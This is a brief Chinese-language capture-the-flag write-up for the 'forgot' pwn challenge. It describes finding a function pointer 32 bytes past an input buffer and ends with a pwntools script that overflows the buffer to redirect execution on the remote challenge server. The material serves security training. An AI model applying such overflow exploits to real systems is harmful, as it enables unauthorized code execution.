（攻防世界）（pwn）forgot

这题我也是想了好久啊，实在是没找到什么办法，后来还是把题目给摸透了根据经验一个个试出来的方法！！！

拿到题目下载附件查看保护：

只开了NX，嗯。。。
进入IDA，————惊了，这个是啥子意思？？？

一大堆奇奇怪怪的东西，实在是看不懂，我们只能看看几个关键的输入点：
第一个输入name：

没有什么东西，进行看string v2 ：

我们看到距离32的地方，有个0x54的函数指针：

找到了（此时时间已经过去好久，纯运气碰到）
我们只要将指针v3覆盖成我们想去的地址就可以了,完整exp：

#! /usr/bin/env python
from pwn import *
p=remote('111.198.29.45',56015)
print p.recvuntil("> ")
p.sendline('A')
payload='A'*32+p32(0x080486cc)
print p.recvuntil("> ")
p.sendline(payload)
print p.recvall()

end。。。